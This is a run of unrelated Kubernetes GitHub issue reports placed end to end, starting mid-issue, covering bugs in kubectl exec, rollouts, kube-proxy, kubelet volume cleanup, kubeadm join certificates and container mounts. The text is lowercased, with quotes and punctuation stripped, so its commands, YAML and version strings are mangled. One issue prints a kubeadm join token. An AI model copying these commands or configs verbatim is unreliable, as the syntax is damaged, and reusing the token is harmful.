v4.channel.k8s.io\ , \ v3.channel.k8s.io\ , \ v2.channel.k8s.io\ , \ channel.k8s.io\ }, \ user-agent\ :  string{\ kubectl/v1.11.1  linux/amd64  kubernetes/b1b2997\ }, \ content-length\ :  string{\ 0\ }, \ upgrade\ :  string{\ spdy/3.1\ }}\r    \r   what you expected to happen  :\r \r should run  kubectl exec  correctly and would login the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  kubectl exec \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    bash\r - root@k8s-master-3 appuser   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r private k8s cluster\r \r - os  e.g. from /etc/os-release :\r \r    \r - root@k8s-master-3 appuser   uname -a\r linux k8s-master-3.novalocal 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r

we discovered these problems when i prepared for the demo. the deployment config file i used:      apiversion: extensions/v1beta1 kind: deployment metadata:   name: deployment-demo   namespace: demos spec:   replicas: 3   strategy:     rollingupdate:       maxsurge: 1       maxunavailable: 0     type: rollingupdate   template:     metadata:       labels:         demo: deployment     spec:       containers:       - name: busybox         image: busybox         command:         - sh         - -c         - while true; do echo \ $ hostname  v1\  > /data/index.html; sleep 60; done         volumemounts:         - name: content           mountpath: /data       - name: nginx         image: nginx         volumemounts:           - name: content             mountpath: /usr/share/nginx/html             readonly: true       volumes:       - name: content      the first problem occurs when i rolling update it with the following command:      cat deployment.yaml | sed 's/ v1/ v2/g' | kubectl --namespace=demos apply -f- --validate=false        the problem is when the v1 rs scrolls down from 1 to 0, it gets scrolled up to 4 and then to 0.    then i use this command to roll back:      kubectl --namespace=demos rollout undo deployment deployment-demo        the problem is the v1 rs get scrolled from 0 to 3 at once, and the v2 rs get scrolled from 3 to 0 at once.   @janetkuo and i had  watched  the events to confirm this was not caused by my bash scripts.  output of  kubectl version :      client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.8.877+2cf3c7809eac09-dirty\ , gitcommit:\ 2cf3c7809eac093f4ccbabbfac4640abde41d6b1\ , gittreestate:\ dirty\ } server version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.8.916+2a4479fa601fb5-dirty\ , gitcommit:\ 2a4479fa601fb5ccc50676fa1f8c9e1f159ca558\ , gittreestate:\ dirty\ }

this block of code in  cmd/kubelet/app/server.go :      // todo: kubeletconfig.kubeclient should be a client interface, but client interface misses certain methods     // used by kubelet. since newmainkubelet expects a client interface, we need to make sure we are not passing     // a nil pointer to it when what we really want is a nil interface.     var kubeclient clientset.interface     if kc.kubeclient != nil {         kubeclient = kc.kubeclient         // todo: remove this when we've refactored kubelet to only use clientset.     }      is moved to  pkg/kubelet/kubelet.go  in  29216, but will still need removal once the kubelet has been refactored to only use clientset.   this is a reminder to do so.  /cc @vishh

our enterprise team is migrating our workflow to kubernetes, but we've run into a crippling problem and so far that someone on the k8s team must have solved by now.  i searched for \ registries\  in this projects issues, but didn't see anything in the first 10 pages of results.  i read and posted on the docker project, and all i found was people complaining about the same thing:  https://github.com/docker/docker/issues/1988  we have multiple private environments for getting our apps from dev out into production.  the problem is that docker appears to have no mechanism for eliminating the public docker registry, and overriding with your own.  instead, every dockerfile, docker-build command, and k8s yaml file needs to be templated, with wrapper scripts around them to fill in the templates for us.   for instance, in my test environment, i use a local registry visible to both my dev machine and vagrant k8s cluster.  i have to use   private.devregistry.com:5000/  as a prefix on every image name throughout the entire project -- dockerfiles, build commands, k8s yaml files.  this has to be hardcoded, or else docker will attempt  to use public docker-hub.  but then to make this usable in our qa environment, we have to have a script which replaces every registry string to  private.qa.reg.com:5001  so that it works with their registry on a different network.  and again in production which is on yet another network.  now with everything templated, doing simple dev and testing has become much more complex, unable to use standard docker and k8s commands.  all because docker does not appear to have any way to set a global registry endpoint for all your commands.  kubernetes makes it simple to manage multiple clusters, i appreciate that.  is there a known solution for this, or is the team working on something to help manage this?  so far this is crippling our ability to use k8s.  one candidate idea was to actually modify the docker source and attempt to build it ourselves.  another was to use a dummy hostname on everything and change everything by modifying local  /etc/hosts .  both of these ideas are silly, but may be better than a complex web of templates.

rather than making process namespace sharing the default for all pods we will make it configurable per-pod in the api as described in kubernetes/community 1048. the  --docker-disable-shared-pid  flag will be removed from the kubelet in favor of a new field in  v1.pod .\r \r this issue tracks removing this flag once it's no longer used.

a while back code  https://github.com/containernetworking/cni/pull/254  was added to cni's 'bridge' plugin to ensure a consistent bridge mac address based on the ip address given to the bridge.  this means we can effectively revert some of https://github.com/kubernetes/kubernetes/issues/30783 because that functionality is now handled by cni.

this is a   feature request  \r \r currently, when the kube-proxy creates an iptables rule, it write a  proxyservicemap  in the comments. an example of this is as follows  where  proxyservicemap  is \ default/kanali:app-port\  :\r \r    sh\r -a kube-sep-fd2e3tsmhwtxh2rf -s 172.17.0.4/32 -m comment --comment \ default/kanali:app-port\  -j kube-mark-masq\r    \r \r it would be nice if, as part of the  proxyservicemap  or as another comment that is written with an iptables rule, the service labels were written out as comments  perhaps a comma-delimited list .\r \r   but why?  \r for layer 7 routing, looking at iptables rules is almost enough to configure an upstream proxy without needing the api server at all. however, for advanced routing  including canary , labels on services are extensively used. if service labels were included in the iptables rule comments, complex layer 7 routing could happen without needing a highly available api server.\r \r the change needed for this is minimal and i believe lives solely within  this file  https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go .\r \r i don't mind implementing this, just want to see what the community thinks.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.6.2 and 1.6.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian jessie\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : kops\r -   others  : weave for cni\r \r \r   what happened  :\r this morning after our cluster scaled nodes back up, the kube-dns would fail to start. after endless troubleshooting, the issue went away on its own, but i did notice one thing. i believe this is related to weave pods snagging up ipv6 on the weave interface inside the pod, or lack of ipv4 really...\r \r    \r weave     link encap:ethernet  hwaddr ca:aa:32:95:7d:4b\r           inet6 addr: fe80::c8aa:32ff:fe95:7d4b/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:7 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:8 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:460  460.0 b   tx bytes:648  648.0 b \r    \r and the kube-dns would show up with ip address in  get pods  as bearing the ip of the node, instead of the in-cluster 10. range. \r \r after it \ fixed itself\  the weave interface looked like:\r \r    \r weave     link encap:ethernet  hwaddr 76:e6:c0:5a:2e:c5\r           inet addr:10.36.0.0  bcast:0.0.0.0  mask:255.240.0.0\r           inet6 addr: fe80::74e6:c0ff:fe5a:2ec5/64 scope:link\r           up broadcast running multicast  mtu:1376  metric:1\r           rx packets:775 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:9 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1000\r           rx bytes:22188  21.6 kib   tx bytes:690  690.0 b \r    \r \r \r \r   what you expected to happen  : not using ipv6, or adding a check to the cni networking? not sure how best to handle it. \r \r \r   how to reproduce it    as minimally and precisely as possible :\r n/a  -- i do not know. it may be a race condition? but it went way as mysteriously as it happened, and i was not able to change anything over the course of the whole day.\r \r   anything else we need to know  :\r during the course of the day, the cluster was \ reset\   i.e. i termianted all instances  10+ times. \r \r the issue manifests by kube-dns not being able to start, and nodes bouncing up/down due to the pleg events throwing a negative.

 \r   what happened  :\r \r  strategicpatch.createthreewaymergepatch    is unable to create patches where one downstream item deletes the last key in a map but the other other downstream leg has added additional keys  see repro steps .\r \r   what you expected to happen  :\r \r the function should be able to compute a patch for this case successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r call https://godoc.org/k8s.io/apimachinery/pkg/util/strategicpatch createthreewaymergepatch with the following inputs:\r \r  original :\r    \r   name: app-name\r   namespace: app-namespace\r   annotations:\r     upstream-annotation: \ \ \r    \r \r  modified :\r    \r   name: app-name\r   namespace: app-namespace\r   annotations:\r    \r  or you can leave the \ annotations\  map off, since it carries the  json:\ omitempty\   annotation \r \r  current :\r    \r   name: app-name\r   namespace: app-namespace\r   annotations:\r     upstream-annotation: \ \ \r     custom-annotation: \ \ \r    \r \r  datastruct : one of these: https://godoc.org/k8s.io/apimachinery/pkg/apis/meta/v1 objectmeta\r \r  overwrite :  false \r \r this should create a patch that removes the  upstream-annotation  key from the  annotations  map. instead, it fails with a conflict, saying that it is unable to delete the  annotations  map.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : aws, gce, bare metal\r - os  e.g. from /etc/os-release : nixos 17.09pre109180.0d4431cfe9  hummingbird \r - kernel  e.g.  uname -a  : linux xps13 4.9.32  1-nixos smp wed jun 14 13:06:16 utc 2017 x86_64 gnu/linux\r - install tools:\r - others:\r

this issue is to track tasks for supporting out-of-tree cloud provider for azure.\r \r as mentioned in design proposal  refactor cloud provider out of kubernetes core  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/cloud-provider/cloud-provider-refactoring.md , all cloud provider specific code is planned to be removed from kubernetes repository.\r \r   work items\r    1.8\r -  x  run standalone cloud provider\r -  x  setup standalone cloud provider repository for azure\r     -  x  plan for issues and pull requests migration\r     -  x  create a util for code migration\r     -  x  build up cloud-control-manager application for azure\r    1.9\r -  x  get providerid approach work\r -  x  fix related bugs\r     -  x   52522 should be able to set cluster-name for cloud controller manager\r    1.10\r -  x  fix related bugs\r   -  x   56276 cloudnodecontroller should use patch to update node\r \r    1.14\r \r -     ensure e2e test run for azure cloud controller manager    \r     -  x  run e2e test against cluster running azure cloud controller manager\r     -     publish test results to testgrid\r -     cleanup code dependencies on azure cloud provider    \r     -  x  cleanup for azure credential provider  57380\r     -     cleanup for azure disk volume plugin\r -  azure volume support    \r     -  x  support for azure disk and azure file  on tracking in the separate repos https://github.com/kubernetes-sigs/azuredisk-csi-driver and https://github.com/kubernetes-sigs/azurefile-csi-driver \r     -  x  in-tree azuredisk and azurefile would still be used\r - azure credential provider\r   -  x  in-tree azure credential provider would still be used\r \r    future\r \r -     azure cloud provider code handoff    \r     -  x  add instructions for migrating existing issues and pull requests\r     -     send pr to remove azure cloud provider related code in kubernetes repo\r     -     mark all pr with cloud provider code change as  do-not-merge \r -     out of tree azuredisk and azurefile\r -     out of tree azure credential provider\r \r     involves work in kubernetes repository\r     pending on upstream issues\r

 \r this is not always reproducible.\r \r    console\r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.425+7e5d2df2995ef4-dirty\ , gitcommit:\ 7e5d2df2995ef402a2e4ee39524c761904bf7689\ , gittreestate:\ dirty\ , builddat\r e:\ 2017-09-07t22:43:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.425+7e5d2df2995ef4-dirty\ , gitcommit:\ 7e5d2df2995ef402a2e4ee39524c761904bf7689\ , gittreestate:\ dirty\ , builddat\r e:\ 2017-09-07t22:43:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ kubectl get nodes \r name        status     roles     age       version\r 127.0.0.1   notready   <none>    3s        v1.9.0-alpha.0.425+7e5d2df2995ef4-dirty\r \r $ kubectl describe nodes                                                                                                                                                  \r name:               127.0.0.1\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=127.0.0.1\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r                     volumes.kubernetes.io/keep-terminated-pod-volumes=true\r taints:             <none>\r creationtimestamp:  thu, 07 sep 2017 15:47:44 -0700\r conditions:\r   type             status    lastheartbeattime                 lasttransitiontime                reason                     message\r   ----             ------    -----------------                 ------------------                ------                     -------\r   outofdisk        false     thu, 07 sep 2017 15:54:41 -0700   thu, 07 sep 2017 15:47:44 -0700   kubelethassufficientdisk   kubelet has sufficient disk space available\r   memorypressure   unknown   thu, 07 sep 2017 15:54:41 -0700   thu, 07 sep 2017 15:55:22 -0700   nodestatusunknown          kubelet stopped posting node status.\r   diskpressure     unknown   thu, 07 sep 2017 15:54:41 -0700   thu, 07 sep 2017 15:55:22 -0700   nodestatusunknown          kubelet stopped posting node status.\r   ready            unknown   thu, 07 sep 2017 15:54:41 -0700   thu, 07 sep 2017 15:55:22 -0700   nodestatusunknown          kubelet stopped posting node status.\r    \r in /tmp/kubelet.log    generated ~2g log in ~10 min   :\r    \r i0907 15:51:08.468183   41431 reconciler.go:407  reconciler sync states: could not find pod information in desired or actual states or pending operationk, update it in both states: &{volumename:kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~129665987.deleting~341491745.deleting~895479100.deleting~304662240.deleting~237652882.deleting~765144275.deleting~470372404 podname:5586a4ec-8dd8-11e7-9f87-64510658e388 volumespec:0xc4209f5440 outervolumespecname:wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~129665987.deleting~341491745.deleting~895479100.deleting~304662240.deleting~237652882.deleting~765144275.deleting~470372404 pod:0xc43bfe6700 pluginisattachable:false volumegidvalue: devicepath: reportedinuse:false mounter:0xc43bfe6a80}\r i0907 15:51:08.468195   41431 reconciler.go:407  reconciler sync states: could not find pod information in desired or actual states or pending operation, update it in both states: &{volumename:kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~584822249.deleting~220182082.deleting~085866246.deleting~369173273.deleting~680852678.deleting~951900108 podname:5586a4ec-8dd8-11e7-9f87-64510658e388 volumespec:0xc4209f5460 outervolumespecname:wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~584822249.deleting~220182082.deleting~085866246.deleting~369173273.deleting~680852678.deleting~951900108 pod:0xc43bfe6e00 pluginisattachable:false volumegidvalue: devicepath: reportedinuse:false mounter:0xc43bfe7180}\r i0907 15:51:08.468206   41431 reconciler.go:407  reconciler sync states: could not find pod information in desired or actual states or pending operation, update it in both states: &{volumename:kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~883230248.deleting~428888645.deleting~873881490.deleting~691746113.deleting~617777175 podname:5586a4ec-8dd8-11e7-9f87-64510658e388 volumespec:0xc4209f5480 outervolumespecname:wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~883230248.deleting~428888645.deleting~873881490.deleting~691746113.deleting~617777175 pod:0xc43bfe7500 pluginisattachable:false volumegidvalue: devicepath: reportedinuse:false mounter:0xc43bfe7880}\r \r ....  lots of this \r \r i0907 15:52:52.607659   41431 reconciler.go:186  operationexecutor.unmountvolume started for volume \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~240101287.deleting~474363422.deleting~412327994.deleting~266620090.deleting~847321778.deleting~296097781.deleting~490864170.deleting~484028536\   uniquename: \ kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~240101287.deleting~474363422.deleting~412327994.deleting~266620090.deleting~847321778.deleting~296097781.deleting~490864170.deleting~484028536\   pod \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   uid: \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   \r i0907 15:52:52.607698   41431 reconciler.go:186  operationexecutor.unmountvolume started for volume \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~391434607.deleting~918534120.deleting~606450374.deleting~202212986.deleting~483225935.deleting~118044232\   uniquename: \ kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~391434607.deleting~918534120.deleting~606450374.deleting~202212986.deleting~483225935.deleting~118044232\   pod \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   uid: \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   \r i0907 15:52:52.607731   41431 reconciler.go:186  operationexecutor.unmountvolume started for volume \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~576449633.deleting~644699299.deleting~184794940.deleting~983869710.deleting~632928625\   uniquename: \ kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~245595380.deleting~479931026.deleting~576449633.\r \r ....  lots of this \r \r i0907 15:52:52.620451   41431 operation_generator.go:535  unmountvolume.teardown succeeded for volume \ kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~594356806.deleting~155066893.deleting~400114162.deleting~601382820.deleting~830304948.deleting~346000552.deleting~485220608.deleting~180587265\   outervolumespecname: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~594356806.deleting~155066893.deleting~400114162.deleting~601382820.deleting~830304948.deleting~346000552.deleting~485220608.deleting~180587265\   pod \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   uid: \ 5586a4ec-8dd8-11e7-9f87-64510658e388\  . innervolumespecname \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~594356806.deleting~155066893.deleting~400114162.deleting~601382820.deleting~830304948.deleting~346000552.deleting~485220608.deleting~180587265\ . pluginname \ kubernetes.io/configmap\ , volumegidvalue \ \ \r i0907 15:52:52.620536   41431 util.go:401  tearing down volume wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~739717727.deleting~117837377.deleting~058906220.deleting~285743769.deleting~736325372.deleting~684213501.deleting~367849180 for pod 5586a4ec-8dd8-11e7-9f87-64510658e388 at /var/lib/kubelet/pods/5586a4ec-8dd8-11e7-9f87-64510658e388/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~739717727.deleting~117837377.deleting~058906220.deleting~285743769.deleting~736325372.deleting~684213501.deleting~367849180\r i0907 15:52:52.622058   41431 operation_generator.go:535  unmountvolume.teardown succeeded for volume \ kubernetes.io/configmap/5586a4ec-8dd8-11e7-9f87-64510658e388-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~739717727.deleting~117837377.deleting~058906220.deleting~285743769.deleting~736325372.deleting~684213501.deleting~367849180\   outervolumespecname: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~739717727.deleting~117837377.deleting~058906220.deleting~285743769.deleting~736325372.deleting~684213501.deleting~367849180\   pod \ 5586a4ec-8dd8-11e7-9f87-64510658e388\   uid: \ 5586a4ec-8dd8-11e7-9f87-64510658e388\  . innervolumespecname \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~481564073.deleting~739717727.deleting~117837377.deleting~058906220.deleting~285743769.deleting~736325372.deleting~684213501.deleting~367849180\ . pluginname \ kubernetes.io/configmap\ , volumegidvalue \ \ \r i0907 15:52:52.622139   41431 util.go:401  tearing down volume wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~240101287.deleting~158899128.deleting~791353031.deleting~243685750.deleting~940160356.deleting~260253492.deleting~757548098 for pod 5586a4ec-8dd8-11e7-9f87-64510658e388 at /var/lib/kubelet/pods/5586a4ec-8dd8-11e7-9f87-64510658e388/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_kube-dns-config.deleting~240101287.deleting~158899128.deleting~791353031.deleting~243685750.deleting~940160356.deleting~260253492.deleting~757548098\r \r ....  lots of this \r \r program exceeds 10000-thread limit\r fatal error: thread exhaustion\r    \r \r @kubernetes/sig-node-bugs @kubernetes/sig-storage-bugs \r \r edit:\r   solution:   the root cause is described in https://github.com/kubernetes/kubernetes/issues/52128 issuecomment-328166645. if you hit this issue, manually remove those  wrapped_wrapped_xxxx.deleting~xxx  files will solve the problem.

is this a bug report or feature request?  :\r  \r   what happened  :\r kube-proxy get stuck after master goes down and is recreated on a new machine.\r \r we run  kube-proxy  as daemon set and under normal circumstances  kube-proxy  works fine.\r \r we run k8s nodes as imutable instances and if there is reboot, stop or error,  the node is recreated as whole new machine with new ip,mac and everyhting. etcd data is stored on persistent storage but os is not.\r k8s api endpoint stays same.\r \r this lead to an issue when the master is \ recreated\  then  kube-proxy  is in some weird stuck state when it doesn't work.  we run health checks on the  kube-proxy , but this does not trigger any restart as the  kube-proxy  thinks that its healthy and there is not a single log entry indicating that anything is wrong.\r to fix it we need to kill all kube-proxy pods and then it works again.\r \r my wild assumption is that kube-proxy is holding open connection to the k8s-api and if the master is recreated with new ip, kubeproxy is still using the old non-working connection.\r \r   what you expected to happen  :\r kube-proxy is checking if the current connection to the k8s api is valid in some period of time and if not the it force reconnection.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create running  k8s cluster with single master.\r   recreate master with same  etcd data and  endpoint but different instance ip.\r   test k8s resource type  service   they should not work properly  or create a new one and test that new service.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r but we got similar behavior also on  1.8.1 \r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1465.8.0\r version_id=1465.8.0\r build_id=2017-09-20-2237\r pretty_name=\ container linux by coreos 1465.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 00008df14a32b2b9 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2637 v2 @ 3.50ghz genuineintel gnu/linux\r    \r - install tools: selfhosted\r - others:\r \r \r @kubernetes/sig-network-bugs

hi, i have solved the issue https://github.com/kubernetes/kubernetes/issues/58876 with the modification of ip in \ kubeadm join\ . \r \r 10.0.0.10 is the ip of master.\r \r but now appears this another issue and i can't to add the node to cluster.\r \r    \r root@nodo2:~  kubeadm join --token 0f18b4.a5cf13ea12a0f971 10.0.0.10:6443 --discovery-token-ca-cert-hash sha256:79d41321a6bf165b24947d13a9315d8219c005f1faf958d47421a05245f7e763\r  preflight  running pre-flight checks.\r          warning systemverification : docker version is greater than the most recently validated version. docker version: 17.12.0-ce. max validated version: 17.03\r          warning fileexisting-crictl : crictl not found in system path\r  discovery  trying to connect to api server \ 10.0.0.10:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://10.0.0.10:6443\ \r  discovery  requesting info from \ https://10.0.0.10:6443\  again to validate tls against the pinned public key\r  discovery  failed to request cluster info, will try again:  get https://10.0.0.10:6443/api/v1/namespaces/kube-public/configmaps/cluster-info: x509: certificate is valid for 10.96.0.1, 10.0.2.15, not 10.0.0.10 \r    \r \r root@master:~  kubectl get nodes\r name      status    roles     age       version\r master    ready     master    18m       v1.9.2\r \r \r thanks so much!!\r \r xavier.

 \r add an option to the  service  configuration to avoid allocating nodeports for  service.type: loadbalancer .\r \r it is part of the kubernetes api definition that creating an external load balancer in kubernetes implies allocation of a nodeport for the service. this is unnecessary for some clouds and uses up the nodeport range.\r \r

forked from https://github.com/kubernetes/kubernetes/issues/40248  think of this as v2 .\r \r  scratch  is not quite sufficient as a base image for static go binaries. common dependencies include ca-certificates, resolv.conf, hosts, and nsswtich  see https://github.com/kubernetes/kubernetes/issues/69195 .  see below for a more complete list.\r \r we need to decide if we want a scratch+config base image  either found or created by us , or a more complete distro  e.g. debian-base, at the cost of more frequent patching .  gcr.io/distroless/static  has also been proposed, or could provide inspiration for a static base.\r \r   blocked by:    for the scratch case  https://github.com/kubernetes/kubernetes/issues/61006, for logs redirection.\r \r  /cc @ixdy \r \r ---\r \r   appendix  \r \r here is a list of  /etc/   files referenced from the go source  obviously some of these are not applicable :\r    \r $ grep -reoih '/etc/ -a-za-z./_ + a-za-z ' | sort -u\r /etc/alpine-release\r /etc/apache\r /etc/apache/mime.types\r /etc/certs/ca-certificates.crt\r /etc/group\r /etc/hosts\r /etc/localtime\r /etc/mdns.allow\r /etc/mime.types\r /etc/nsswitch.conf\r /etc/openssl/certs\r /etc/openssl/certs/ca-certificates.crt\r /etc/passwd\r /etc/passwd/foo\r /etc/passwx\r /etc/paths.d/go\r /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem\r /etc/pki/tls/cacert.pem\r /etc/pki/tls/certs\r /etc/pki/tls/certs/ca-bundle.crt\r /etc/profile\r /etc/protocols\r /etc/release\r /etc/resolv.conf\r /etc/security/cacerts\r /etc/services\r /etc/ssl/ca-bundle.pem\r /etc/ssl/cacert.pem\r /etc/ssl/cert.pem\r /etc/ssl/certs\r /etc/ssl/certs/ca-certificates.crt\r

the newly introduced e2e which checks for detach while mount is in progress is flaking:\r \r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/32313\r \r  /assign\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r pod does not start with my alpine based docker  image  https://hub.docker.com/r/inanimate/engage . this image launches just fine on docker itself via my laptop etc..\r \r    \r └ ~ > kc describe po/mario-test-5f7fb75578-27z99\r -> context: stackpoint\r -> namespace: playground\r name:           mario-test-5f7fb75578-27z99\r namespace:      playground\r node:           ip-172-20-4-145.ec2.internal/172.20.4.145\r start time:     thu, 20 dec 2018 18:02:21 -0500\r labels:         k8s-app=mario-test\r                 pod-template-hash=1939631134\r annotations:    <none>\r status:         running\r ip:             10.2.3.250\r controlled by:  replicaset/mario-test-5f7fb75578\r containers:\r   mario-test:\r     container id:   docker://9d6fe671fedcb534ac28511ee49acf255bb3f2d551f484181fec009ff6f98dbe\r     image:          inanimate/engage\r     image id:       docker-pullable://inanimate/engage@sha256:d8cbbb96e432eeea064f7b33244f52978f30a40a0b36fee86fb877033b6b30c1\r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       containercannotrun\r       message:      oci runtime create failed: container_linux.go:348: starting container process caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58: mounting \\\\\\\ /var/lib/kubelet/pods/4ecb9524-04ab-11e9-9516-126590b3b97e/volumes/kubernetes.io~secret/default-token-5pflh\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay2/065a7cc21b3b29c0948099eecbb8af10b82efda6d694f58ec671c99ce44f0281/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay2/065a7cc21b3b29c0948099eecbb8af10b82efda6d694f58ec671c99ce44f0281/merged/run/secrets/kubernetes.io/serviceaccount\\\\\\\  caused \\\\\\\ not a directory\\\\\\\ \\\ \ : unknown: are you trying to mount a directory onto a file  or vice-versa ? check if the specified host path exists and is the expected type\r       exit code:    127\r       started:      thu, 20 dec 2018 20:56:29 -0500\r       finished:     thu, 20 dec 2018 20:56:29 -0500\r     ready:          false\r     restart count:  39\r     environment: 